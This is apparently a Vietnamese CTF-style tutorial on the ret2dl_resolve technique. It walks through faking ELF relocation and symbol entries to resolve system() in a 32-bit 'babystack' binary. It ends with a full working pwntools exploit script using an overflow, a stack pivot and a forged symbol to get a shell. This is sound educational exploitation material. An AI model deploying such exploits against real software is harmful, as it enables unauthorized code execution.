Trong một số trường hợp khi ta overflow mà không có các hàm trong PLT thích hợp để leak libc ra thì ret2dl_resolve là một kỹ thuật để lấy được shell. Trong bài này mình sẽ giới thiệu tóm tắt về cách ret2dl_resolve ở glibc 2.37 hoạt động qua một bài demo.
Do nếu mình giải thích chi tiết từng dòng code chạy sau thì nó rất rất dài và giống như reinvent the wheel nên các bạn có thể đọc trước ở đây:
Kỹ thuật này lợi dụng việc lazy binding tức quá trình resolve symbol ở runtime không có bound check từ đó ta khiến nó overwrite địa chỉ GOT của một hàm nào đó thành system
Khi ta gọi hàm read
thì những việc sau đây xảy ra :
read
.got.plt
..plt
. Nếu resolve rồi thì thực hiện nóTrong quá trình đi resolve nó sẽ push 2 arguments lên stack : linkmap
và reloc_arg
.
linkmap
là chỗ chứa các địa chỉ ở bên dưới - ở đây ta không quan tâm về nóreloc_arg
dùng để tính offset mà ta cần cực kỳ để ý.Mục tiêu của ret2dl_resolve như sau:
reloc_arg
Để fake đúng ta cần tính offset chuẩn . 3 chunk ta fake thường nằm ở heap hoặc bss của binary. Đây là địa chỉ mà ta phải có control hoàn toàn.
Lưu ý : địa sym và SYMTAB, reloc và JMPREL mà mình đề cập bên dưới là các địa chỉ khác nhau hoàn toàn.
gef➤ x/10s 0x804822c
0x804822c: ""
0x804822d: "libc.so.6"
0x8048237: "_IO_stdin_used"
0x8048246: "read"
0x804824b: "alarm"
0x8048251: "__libc_start_main"
0x8048263: "__gmon_start__"
0x8048272: "GLIBC_2.0"
0x804827c: ""
0x804827d: ""
STRTAB chỉ là nơi chứa strings. Mục tiêu của ta khi fake nó chỉ là ghi system\x00
(null terminated str) vào một địa chỉ
Một chunk sym được định nghĩa như sau:
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
Cách mà source tính ra chunk này :
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]
// which is the same as :
const ElfW(Sym) *sym = &symtab[(reloc->r_info) >> 8]
// also the same as :
*sym = SYMTAB + index *sizeof(sym)
// index = (reloc->r_info) >> 8
----------------------------------------------
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB])
--------SYMTAB--------
x64 và x32 chỉ khác mỗi size còn lại tương tự
Ở đây chúng ta chỉ quan tâm đến st_other
và st_name
st_other
: bắt buộc = 0st_name
: chứa offset đến string system
mà ta fakeMột chunk reloc được định nghĩa như sau :
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;
Cách mà source tính ra chunk này:
const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
// the same as
reloc = JMPREL + reloc_offset
// such that
reloc_offset = reloc_arg //x32
reloc_offset = reloc_arg *0x18 //x64
Trong trường hợp thoả mãn tất cả điều kiện thì nó sẽ resolve bằng thuật toán sau
reloc_arg
, linkmap
SYMTAB
addressSTRTAB
addressELF32_Rela
/ ELF64_Rela
structELF32_Sym
/ ELF64_Sym
struct (base on a ptr in step 4)r_info
ending with 0x7st_other == 0
or notSTRTAB + st_name
SYMTAB
, STRTAB
, linkmap
(hmmm có thể có nhưng kỹ thuật khá khó)reloc = JMPREL + reloc_arg
sym = SYMTAB + (r_info >> 8) * sizeof(sym)
addr1
, addr2
,addr3
mà chúng ta có quyền controladdr1
structaddr1
- JMPREL (x32)addr1
- JMPREL) / 24 (x64)addr2
- SYMTAB) / sizeof(sym)) << 8) | 7addr1
chunk : [GOT, r_info]addr2
struct :addr3
- STRTABsystem
to addr3
Trong quá trình fake thì các chunk đấy phải nằm đúng một ô nhớ 4 byte hoặc 8 byte ở một địa chỉ -> align khi thấy không phù hợp
Đầu tiên ta chạy lệnh này để note lại các giá trị
$ readelf -d babystack
Dynamic section at offset 0xf14 contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x80482c8
0x0000000d (FINI) 0x80484f4
0x00000019 (INIT_ARRAY) 0x8049f08
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049f0c
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x804822c
0x00000006 (SYMTAB) 0x80481cc
0x0000000a (STRSZ) 80 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804a000
0x00000002 (PLTRELSZ) 24 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80482b0
0x00000011 (REL) 0x80482a8
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x8048288
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x804827c
0x00000000 (NULL) 0x0
Note lại
SYMTAB = 0x080481cc
STRTAB = 0x0804822c
JMPREL = 0x080482b0
Vào ida thì ta dễ dàng thấy rằng bị bof
Vào gdb thì thấy rằng không có hàm nào thích hợp để giúp ta leak libc -> ret2dl_resolve
Sau một hồi test với binary thì thấy rằng ta cần pivot stack vào bss() do arguments 1 tức reloc_arg
cần phải ở đầu stack
Quá trình pivot stack cũng như làm sau để bof 1 file x32 sẽ không trình bày ở đây
addr1 = 0x804af00
payload = b'a'*40 + p32(addr1)
payload += p32(exe.plt['read']) + p32(0x8048455)+ p32(0) + p32(addr1) + p32(0x80)
p.send(payload)
Trong đó 0x8048455
là gadget leave_ret
. Ở đây chúng ta thực hiện ghi 2 lần.
Payload 2 của mình có dạng sau
addr1 += 0x14
reloc_args = (addr1 - JMPREL)
addr2 = 0x804af1c
success("FAKE ELF32_SYM addr2 : " + hex(addr2))
r_info = (addr2- SYMTAB) // 16
r_info = (r_info <<8) | 0x7
success("FAKE ELF32_RELA addr1 : " + hex(addr1))
success("CACULATED reloc_args: " + hex(reloc_args))
success("r_info : " + hex(r_info))
string = 0x0804af2c - STRTAB
Do addr1
sau khi chạy payload 1 đang là rsp
nên mình cộng thêm 0x14 tức chỗ để fake ELF32_Rela
struct.
string
trong code trên là st_name
fake
Payload sau khi gửi
Ta có thể thấy là các địa chỉ ta fake nằm trọn trong 1 ô vùng nhớ. Các địa chỉ khác tính như công thức mình đưa ra ở trên .
Chỗ padding này như sau
0x804af08
là esp tức là reloc_arg
sh
và tiếp theo mình gửi vào 0x804af10
địa chỉ trỏ tới sh
. Lý do của việc đó là vì khi ta thực hiện resolve xong thì nó sẽ thực hiện hàm system
đấy. Do là x32 nên theo calling convention thì nó expect arguments ở esp+0x8
Ta chạy script thì lấy được shell
Full script :
from pwn import *
import time
exe = ELF("babystack")
p = process(exe.path)
SYMTAB = 0x080481cc
STRTAB = 0x0804822c
JMPREL = 0x080482b0
GOT = 0x804a010
ret = 0x080482d2
addr1 = 0x804af00
payload = b'a'*40 + p32(addr1)
payload += p32(exe.plt['read']) + p32(0x8048455)+ p32(0) + p32(addr1) + p32(0x80)
p.send(payload)
time.sleep(1)
addr1 += 0x14
reloc_args = (addr1 - JMPREL)
success("FAKE ELF32_RELA addr1 : " + hex(addr1))
success("CACULATED reloc_args: " + hex(reloc_args))
addr2 = 0x804af1c
success("FAKE ELF32_SYM addr2 : " + hex(addr2))
r_info = (addr2- SYMTAB) // 16
r_info = (r_info <<8) | 0x7
success("r_info : " + hex(r_info))
string = 0x0804af2c - STRTAB
payload = b'a'*4 + p32(0x80482F0) + p32(reloc_args) + b'sh\x00\x00'+p32(0x0804af0c)
payload += p32(exe.got['read']) + p32(r_info)+p32(string)+p32(0)*3+b'system\x00'
p.send(payload)
p.interactive()